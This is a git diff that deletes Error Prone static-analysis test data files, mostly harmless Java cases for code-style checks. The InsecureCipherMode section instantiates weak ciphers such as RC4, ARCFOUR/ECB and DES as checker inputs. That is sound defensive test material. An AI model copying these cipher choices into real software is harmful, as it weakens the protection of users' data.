a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuturesGetCheckedIllegalExceptionTypePositiveCases.java +++ /dev/null @@ -1,78 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.util.concurrent.Futures.getChecked; -import static java.util.concurrent.TimeUnit.SECONDS; - -import java.util.concurrent.Future; - -/** Positive cases for {@link FuturesGetCheckedIllegalExceptionType}. */ -public class FuturesGetCheckedIllegalExceptionTypePositiveCases { - void runtime( - Future future, Class c1, Class c2) throws Exception { - // BUG: Diagnostic contains: getUnchecked(future) - getChecked(future, RuntimeException.class); - // BUG: Diagnostic contains: getUnchecked(future) - getChecked(future, IllegalArgumentException.class); - // BUG: Diagnostic contains: getUnchecked(future) - getChecked(future, RuntimeException.class, 0, SECONDS); - // BUG: Diagnostic contains: getUnchecked(future) - getChecked(future, c1); - // BUG: Diagnostic contains: getUnchecked(future) - getChecked(future, c2); - } - - void visibility(Future future) throws Exception { - // BUG: Diagnostic contains: parameters - getChecked(future, PrivateConstructorException.class); - // BUG: Diagnostic contains: parameters - getChecked(future, PackagePrivateConstructorException.class); - // BUG: Diagnostic contains: parameters - getChecked(future, ProtectedConstructorException.class); - } - - void parameters(Future future) throws Exception { - // BUG: Diagnostic contains: parameters - getChecked(future, OtherParameterTypeException.class); - // TODO(cpovirk): Consider a specialized error message if inner classes prove to be common. - // BUG: Diagnostic contains: parameters - getChecked(future, InnerClassWithExplicitConstructorException.class); - // BUG: Diagnostic contains: parameters - getChecked(future, InnerClassWithImplicitConstructorException.class); - } - - public static class PrivateConstructorException extends Exception { - private PrivateConstructorException() {} - } - - public static class PackagePrivateConstructorException extends Exception { - PackagePrivateConstructorException() {} - } - - public static class ProtectedConstructorException extends Exception { - protected ProtectedConstructorException() {} - } - - public class OtherParameterTypeException extends Exception { - public OtherParameterTypeException(int it) {} - } - - public class InnerClassWithExplicitConstructorException extends Exception { - public InnerClassWithExplicitConstructorException() {} - } - - public class InnerClassWithImplicitConstructorException extends Exception {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases.java deleted file mode 100644 index 5dfc652a1a1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.math.DoubleMath; - -/** - * @author sulku@google.com (Marsela Sulku) - */ -public class FuzzyEqualsShouldNotBeUsedInEqualsMethodNegativeCases { - public boolean equals() { - return true; - } - - private static class TestClass { - public void test() { - boolean t = DoubleMath.fuzzyEquals(0, 2, 0.3); - } - - public boolean equals(Object other) { - return true; - } - - public boolean equals(Object other, double a) { - return DoubleMath.fuzzyEquals(0, 1, 0.2); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases.java deleted file mode 100644 index 84d0d8551f4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.math.DoubleMath; - -/** - * @author sulku@google.com (Marsela Sulku) - */ -public class FuzzyEqualsShouldNotBeUsedInEqualsMethodPositiveCases { - - public boolean equals(Object o) { - // BUG: Diagnostic contains: DoubleMath.fuzzyEquals should never - DoubleMath.fuzzyEquals(0.2, 9.3, 2.0); - return true; - } - - private class TestClass { - - public boolean equals(Object other) { - double x = 0, y = 0, z = 0; - // BUG: Diagnostic contains: DoubleMath.fuzzyEquals should never - return DoubleMath.fuzzyEquals(x, y, z); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/GetClassOnClassNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/GetClassOnClassNegativeCases.java deleted file mode 100644 index 1216821e878..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/GetClassOnClassNegativeCases.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author chy@google.com (Christine Yang) - * @author kmuhlrad@google.com (Katy Muhlrad) - */ -public class GetClassOnClassNegativeCases { - - public void getClassOnClass(Object obj) { - System.out.println(obj.getClass().getName()); - } - - public void getClassOnClass2() { - String s = "hi"; - DummyObject.getClass(s); - } - - public static class DummyObject { - public static boolean getClass(Object a) { - return true; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/GetClassOnClassPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/GetClassOnClassPositiveCases.java deleted file mode 100644 index 740fe841ebe..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/GetClassOnClassPositiveCases.java +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author chy@google.com (Christine Yang) - * @author kmuhlrad@google.com (Katy Muhlrad) - */ -public class GetClassOnClassPositiveCases { - - public void getClassOnClass(Class clazz) { - // BUG: Diagnostic contains: clazz.getName() - System.out.println(clazz.getClass().getName()); - } - - public void getClassOnClass2() { - String s = "hi"; - // BUG: Diagnostic contains: s.getClass().getName() - s.getClass().getClass().getName(); - } - - public void getClassOnClass3() { - // BUG: Diagnostic contains: String.class.getName() - System.out.println(String.class.getClass().getName()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldNegativeCases.java deleted file mode 100644 index 76b05828bf0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldNegativeCases.java +++ /dev/null @@ -1,60 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author sulku@google.com (Marsela Sulku) - * @author mariasam@google.com (Maria Sam) - */ -public class HidingFieldNegativeCases { - // base class - static class ClassA { - public int varOne; - } - - // subclass with member variables of different names - static class ClassB extends ClassA { - private String varTwo; - private int varThree; - public static int varFour; - public int varFive; - } - - // subclass with initialized member variable of different name - static class ClassC extends ClassB { - // publicly-visible static members in superclasses are pretty uncommon, and generally - // referred to by qualification, so this 'override' is OK - private String varFour = "Test"; - - // The supertype's visibility is private, so this redeclaration is OK. - private int varThree; - - // warning suppressed when overshadowing variable in parent - @SuppressWarnings("HidingField") - public int varFive; - - // warning suppressed when overshadowing variable in grandparent - @SuppressWarnings("HidingField") - public int varOne; - } - - // subclass with member *methods* with the same name as superclass member variable -- this is ok - static class ClassD extends ClassC { - public void varThree() {} - - public void varTwo() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldPositiveCases1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldPositiveCases1.java deleted file mode 100644 index 0e85dab15c7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldPositiveCases1.java +++ /dev/null @@ -1,71 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author sulku@google.com (Marsela Sulku) - * @author mariasam@google.com (Maria Sam) - */ -public class HidingFieldPositiveCases1 { - - /** base class */ - public static class ClassA { - protected String varOne; - public int varTwo; - String varThree; - } - - /** ClassB has a field with the same name as one in its parent. */ - public static class ClassB extends ClassA { - // BUG: Diagnostic contains: superclass: ClassA - private String varOne = "Test"; - } - - /** ClassC has a field with the same name as one in its grandparent. */ - public static class ClassC extends ClassB { - // BUG: Diagnostic contains: superclass: ClassA - public int varTwo; - } - - /** - * ClassD has multiple fields with the same name as those in its grandparent, as well as other - * unrelated members. - */ - public static class ClassD extends ClassB { - // BUG: Diagnostic contains: superclass: ClassA - protected int varThree; - // BUG: Diagnostic contains: superclass: ClassA - int varTwo; - String randOne; - String randTwo; - } - - /** ClassE has same variable name as grandparent */ - public static class ClassE extends ClassC { - // BUG: Diagnostic contains: superclass: ClassC - public String varTwo; - } - - public static class ClassF extends ClassA { - @SuppressWarnings("HidingField") // no warning because it's suppressed - public String varThree; - } - - public static class ClassG extends ClassF { - // BUG: Diagnostic contains: superclass: ClassF - String varThree; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldPositiveCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldPositiveCases2.java deleted file mode 100644 index 8f122f392d2..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/HidingFieldPositiveCases2.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author sulku@google.com (Marsela Sulku) - * @author mariasam@google.com (Maria Sam) - */ -public class HidingFieldPositiveCases2 { - - /** - * ClassA extends a class from a different file and ClassA has a member with the same name as its - * parent - */ - public class ClassA extends HidingFieldPositiveCases1.ClassB { - // BUG: Diagnostic contains: superclass: ClassA - private int varTwo; - } - - /** - * ClassB extends a class from a different file and ClassB has a member with the same name as its - * grandparent - */ - public class ClassB extends HidingFieldPositiveCases1.ClassB { - // BUG: Diagnostic contains: superclass: ClassA - public int varOne = 2; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ImplementAssertionWithChainingNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ImplementAssertionWithChainingNegativeCases.java deleted file mode 100644 index ab776a94da4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ImplementAssertionWithChainingNegativeCases.java +++ /dev/null @@ -1,80 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.truth.FailureMetadata; -import com.google.common.truth.Subject; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class ImplementAssertionWithChainingNegativeCases { - static final class FooSubject extends Subject { - private final Foo actual; - - private FooSubject(FailureMetadata metadata, Foo actual) { - super(metadata, actual); - this.actual = actual; - } - - void doesNotHaveString(String other) { - if (actual.string().equals(other)) { - failWithActual("expected not to have string", other); - } - } - - void doesNotHaveInteger(int other) { - if (actual.integer() == other) { - failWithActual("expected not to have integer", other); - } - } - - void hasBoxedIntegerSameInstance(Integer expected) { - if (actual.boxedInteger() != expected) { - failWithActual("expected to have boxed integer", expected); - } - } - } - - private static final class Foo { - final String string; - final int integer; - final Integer boxedInteger; - - Foo(String string, int integer, Integer boxedInteger) { - this.string = string; - this.integer = integer; - this.boxedInteger = boxedInteger; - } - - String string() { - return string; - } - - int integer() { - return integer; - } - - Integer boxedInteger() { - return boxedInteger; - } - - Foo otherFoo() { - return this; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ImplementAssertionWithChainingPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ImplementAssertionWithChainingPositiveCases.java deleted file mode 100644 index 27ea8c9bb2c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ImplementAssertionWithChainingPositiveCases.java +++ /dev/null @@ -1,107 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.truth.FailureMetadata; -import com.google.common.truth.Subject; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class ImplementAssertionWithChainingPositiveCases { - static final class FooSubject extends Subject { - private final Foo actual; - - private FooSubject(FailureMetadata metadata, Foo actual) { - super(metadata, actual); - this.actual = actual; - } - - void hasString(String expected) { - // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) - if (!actual.string().equals(expected)) { - failWithActual("expected to have string", expected); - } - } - - void hasStringGuavaObjectsEqual(String expected) { - // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) - if (!com.google.common.base.Objects.equal(actual.string(), expected)) { - failWithActual("expected to have string", expected); - } - } - - void hasStringJavaObjectsEquals(String expected) { - // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) - if (!java.util.Objects.equals(actual.string(), expected)) { - failWithActual("expected to have string", expected); - } - } - - void hasInteger(int expected) { - // BUG: Diagnostic contains: check("integer()").that(actual.integer()).isEqualTo(expected) - if (actual.integer() != expected) { - failWithActual("expected to have integer", expected); - } - } - - void hasKind(Kind expected) { - // BUG: Diagnostic contains: check("kind()").that(actual.kind()).isEqualTo(expected) - if (actual.kind() != expected) { - failWithActual("expected to have kind", expected); - } - } - - void hasOtherFooInteger(int expected) { - // BUG: Diagnostic contains: - // check("otherFoo().integer()").that(actual.otherFoo().integer()).isEqualTo(expected) - if (actual.otherFoo().integer() != expected) { - failWithActual("expected to have other foo with integer", expected); - } - } - } - - private static final class Foo { - final String string; - final int integer; - final Kind kind; - - Foo(String string, int integer, Kind kind) { - this.string = string; - this.integer = integer; - this.kind = kind; - } - - String string() { - return string; - } - - int integer() { - return integer; - } - - Kind kind() { - return kind; - } - - Foo otherFoo() { - return this; - } - } - - private enum Kind {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InconsistentCapitalizationNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InconsistentCapitalizationNegativeCases.java deleted file mode 100644 index e3080b91ffb..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InconsistentCapitalizationNegativeCases.java +++ /dev/null @@ -1,174 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** Negative cases for {@link com.google.errorprone.bugpatterns.InconsistentCapitalizationTest}. */ -public class InconsistentCapitalizationNegativeCases { - - public void doesntConflictWithOtherVariables() { - int aa; - int aA; - } - - public void doesntConflictWithVariableOutOfScope() { - if (true) { - int a; - } - if (true) { - int a; - } - } - - public void doesntConflictBetweenForVariables() { - for (int i = 0; i < 1; i++) {} - - for (int i = 0; i < 1; i++) {} - } - - private class DoesntConflictBetweenMethods { - int a; - - void a() {} - - void b(int baba) { - int c = baba; - if (c == baba) {} - } - - void c() { - int c; - } - } - - private static class DoesntConflictWithClass { - - static int B; - - static class A { - - static int A; - } - - class B {} - } - - private static class DoesAllowUpperCaseStaticVariable { - - static int A; - - void method() { - int a; - } - } - - private enum DoesntConflictWithUpperCaseEnum { - TEST; - - private Object test; - } - - public void doesntConflictWithMethodParameter(long aa) { - int aA; - } - - private class DoesntConflictWithConstructorParameter { - - DoesntConflictWithConstructorParameter(Object aa) { - Object aA; - } - } - - private class DoesntConflictOutOfScope { - - class A { - private Object aaa; - private Object aab; - } - - class B { - private Object aaA; - - void method(String aaB) { - char aAb; - } - } - } - - private static class DoesntReplaceMember { - - class A { - Object aa; - Object ab; - - void method() { - B b = new B(); - aa = b.aA; - ab = b.aB.aA; - new B().aA(); - aa.equals(ab); - aa.equals(b.aB.aA); - aa.equals(b.aB); - } - } - - class B { - Object aA; - C aB = new C(); - - void aA() {} - } - - class C { - Object aA; - } - } - - class DoesntConflictWithNested { - Object aa; - Object ab; - - class Nested { - Object aB; - - Nested(Object aa) { - DoesntConflictWithNested.this.aa = aa; - } - - class Nested2 { - Object aB; - - Nested2(Object aa) { - DoesntConflictWithNested.this.aa = aa; - } - } - } - } - - static class DoesntFixExternalParentClassFieldMatch { - - static class Parent { - Object aa; - } - - static class Child extends Parent { - - Child(Object aA) { - aa = aA; - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IncrementInForLoopAndHeaderNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IncrementInForLoopAndHeaderNegativeCases.java deleted file mode 100644 index 06d0a5a9d9f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IncrementInForLoopAndHeaderNegativeCases.java +++ /dev/null @@ -1,79 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.List; - -/** Created by mariasam on 7/20/17. */ -public class IncrementInForLoopAndHeaderNegativeCases { - - public void arrayInc() { - for (int[] level = {}; level[0] > 10; level[0]--) { - System.out.println("test"); - } - } - - public void emptyForLoop() { - for (int i = 0; i < 2; i++) {} - } - - public void inIf() { - for (int i = 0; i < 20; i++) { - if (i == 7) { - i++; - } - } - } - - public void inWhile() { - for (int i = 0; i < 20; i++) { - while (i == 7) { - i++; - } - } - } - - public void inDoWhile() { - for (int i = 0; i < 20; i++) { - do { - i++; - } while (i == 7); - } - } - - public void inFor() { - for (int i = 0; i < 20; i++) { - for (int a = 0; a < i; a++) { - i++; - } - } - } - - public void inForEach(List list) { - for (int i = 0; i < 10; i++) { - for (String s : list) { - i++; - } - } - } - - public void otherVarInc() { - for (int i = 0; i < 2; i++) { - int a = 0; - a++; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IncrementInForLoopAndHeaderPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IncrementInForLoopAndHeaderPositiveCases.java deleted file mode 100644 index 2e7a5e6cd44..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/IncrementInForLoopAndHeaderPositiveCases.java +++ /dev/null @@ -1,98 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author mariasam@google.com (Maria Sam) - */ -public class IncrementInForLoopAndHeaderPositiveCases { - - public void basicTest() { - // BUG: Diagnostic contains: increment - for (int i = 0; i < 10; i++) { - i++; - } - } - - public void decrement() { - // BUG: Diagnostic contains: increment - for (int i = 0; i < 10; i++) { - i--; - } - } - - public void preInc() { - // BUG: Diagnostic contains: increment - for (int i = 0; i < 10; i++) { - --i; - } - } - - public void multipleStatements() { - // BUG: Diagnostic contains: increment - for (int i = 0; i < 10; i++) { - --i; - int a = 0; - } - } - - public void multipleUpdates() { - // BUG: Diagnostic contains: increment - for (int i = 0, a = 1; i < 10; i++, a++) { - a++; - } - } - - public void multipleUpdatesOtherVar() { - // BUG: Diagnostic contains: increment - for (int i = 0, a = 1; i < 10; i++, a++) { - i++; - } - } - - public void multipleUpdatesBothVars() { - // BUG: Diagnostic contains: increment - for (int i = 0, a = 1; i < 10; i++, a++) { - a++; - i++; - } - } - - public void nestedFor() { - for (int i = 0; i < 10; i++) { - // BUG: Diagnostic contains: increment - for (int a = 0; a < 10; a++) { - a--; - } - } - } - - public void nestedForBoth() { - // BUG: Diagnostic contains: increment - for (int i = 0; i < 10; i++) { - i++; - // BUG: Diagnostic contains: increment - for (int a = 0; a < 10; a++) { - a--; - } - } - } - - public void expressionStatement() { - // BUG: Diagnostic contains: increment - for (int i = 0; i < 10; i++) i++; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InsecureCipherModeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InsecureCipherModeNegativeCases.java deleted file mode 100644 index 717b27c4466..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InsecureCipherModeNegativeCases.java +++ /dev/null @@ -1,160 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.security.KeyFactory; -import java.security.KeyPairGenerator; -import java.security.NoSuchAlgorithmException; -import java.security.NoSuchProviderException; -import javax.crypto.Cipher; -import javax.crypto.KeyAgreement; -import javax.crypto.NoSuchPaddingException; - -/** - * @author avenet@google.com (Arnaud J. Venet) - */ -public class InsecureCipherModeNegativeCases { - static Cipher aesCipher; - - static { - // We don't handle any exception as this code is not meant to be executed. - try { - aesCipher = Cipher.getInstance("AES/CBC/NoPadding"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static final String AES_STRING = "AES/CBC/NoPadding"; - static Cipher aesCipherWithConstantString; - - static { - try { - aesCipherWithConstantString = Cipher.getInstance(AES_STRING); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher aesCipherWithProvider; - - static { - try { - aesCipherWithProvider = Cipher.getInstance("AES/CBC/NoPadding", "My Provider"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchProviderException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher arc4CipherConscrypt; - - static { - try { - arc4CipherConscrypt = Cipher.getInstance("ARC4", "Conscrypt"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchProviderException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher rc4CipherJsch; - - static { - try { - rc4CipherJsch = Cipher.getInstance("RC4", "JSch"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchProviderException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher arcfourCipherSunJce; - - static { - try { - arcfourCipherSunJce = Cipher.getInstance("ARCFOUR/ECB/NoPadding"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher desCipher; - - static { - try { - desCipher = Cipher.getInstance("DES/CBC/NoPadding"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher rsaCipher; - - static { - try { - rsaCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - static Cipher aesWrapCipher; - - static { - try { - aesWrapCipher = Cipher.getInstance("AESWrap/ECB/NoPadding"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } catch (NoSuchPaddingException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } - - public void ellipticCurveDiffieHellman() { - KeyFactory keyFactory; - KeyAgreement keyAgreement; - KeyPairGenerator keyPairGenerator; - final String ecdh = "ECDH"; - try { - keyFactory = KeyFactory.getInstance(ecdh); - keyAgreement = KeyAgreement.getInstance("ECDH"); - keyPairGenerator = KeyPairGenerator.getInstance("EC" + "DH"); - } catch (NoSuchAlgorithmException e) { - // We don't handle any exception as this code is not meant to be executed. - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InsecureCipherModePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InsecureCipherModePositiveCases.java deleted file mode 100644 index f69ee48dd56..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/InsecureCipherModePositiveCases.java +++ /dev/null @@ -1,239 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is 